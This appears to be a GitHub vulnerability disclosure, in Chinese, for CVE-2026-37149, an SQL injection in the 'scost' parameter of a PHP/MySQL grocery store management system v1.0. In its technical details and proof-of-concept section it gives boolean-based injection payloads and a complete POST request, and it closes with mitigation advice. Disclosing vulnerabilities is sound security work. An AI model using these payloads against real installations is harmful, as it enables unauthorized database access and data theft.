pateldhyeyit/CVE-2026-37149
GitHub: pateldhyeyit/CVE-2026-37149
该项目披露了基于 PHP/MySQL 的超市管理系统 v1.0 中 scost 参数的 SQL 注入漏洞(CVE-2026-37149),并提供了完整的漏洞描述、技术细节与概念验证。
Stars: 1 | Forks: 0
CVE-2026-37149
GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0 中的 SQL 注入
概述
CVE ID: CVE-2026-37149
漏洞类型: SQL 注入 (CWE-89)
严重程度: 高
发现者: Dhyey Patel
描述
GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0 的 "/grocery/search_products.php" 中的 "scost" 参数存在 SQL 注入漏洞。
该应用程序在将用户提供的输入嵌入到 SQL 查询之前,未能正确进行验证。攻击者可以通过该易受攻击的参数注入精心构造的 SQL 表达式,并操纵后端数据库查询。
成功利用该漏洞可能会允许未经授权访问敏感数据库信息,并执行任意的 SQL 语句。
受影响的产品
产品: GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN
版本: v1.0
供应商仓库:
https://github.com/anirudhkannanvp/GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN-
受影响的组件
- "/grocery/search_products.php"
- POST 参数: "scost"
攻击类型
远程
供应商信息
由仓库所有者维护的开源项目:
https://github.com/anirudhkannanvp
技术细节
该漏洞已通过基于布尔的 SQL 注入技术得到确认。
TRUE 条件 Payload
-1 OR 3*2*1=6 AND 000483=000483 --
FALSE 条件 Payload
-1 OR 3*2*0=6 AND 000483=000483 --
应用程序的响应会根据注入条件的计算结果为 TRUE 或 FALSE 而有所不同,从而确认了 SQL 注入。
进一步的测试证实了 SQL 函数的成功执行,包括:
SELECT database()
返回的数据库名称为:
grocery
这证明了可以通过该易受攻击的参数执行任意的 SQL 查询。
概念验证
请求
POST /grocery/search_products.php HTTP/1.1
Host: localhost
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
scategory=1&
scost=-1 OR 3*2*1=6 AND 000483=000483 -- &
sitem_name=test&
spid=1&
submit=Search%20For%20products
结果
响应会根据注入的布尔条件发生变化,从而确认了 "scost" 参数中存在 SQL 注入。
影响
潜在的影响包括:
- 数据库枚举
- 敏感信息泄露
- 身份验证绕过
- 数据提取
- 修改数据库记录
缓解措施
开发者应该:
1. 使用预编译语句。
2. 使用参数化的 SQL 查询。
3. 验证数字输入参数。
4. 实施服务器端输入验证。
5. 避免将用户控制的输入直接拼接到 SQL 语句中。
参考
OWASP SQL 注入
https://owasp.org/www-community/attacks/SQL_Injection
MITRE CVE 计划
https://www.cve.org
致谢
发现和报告者:
Dhyey Patel
标签:CISA项目, OpenVAS, PHP, PoC, 暴力破解, 漏洞复现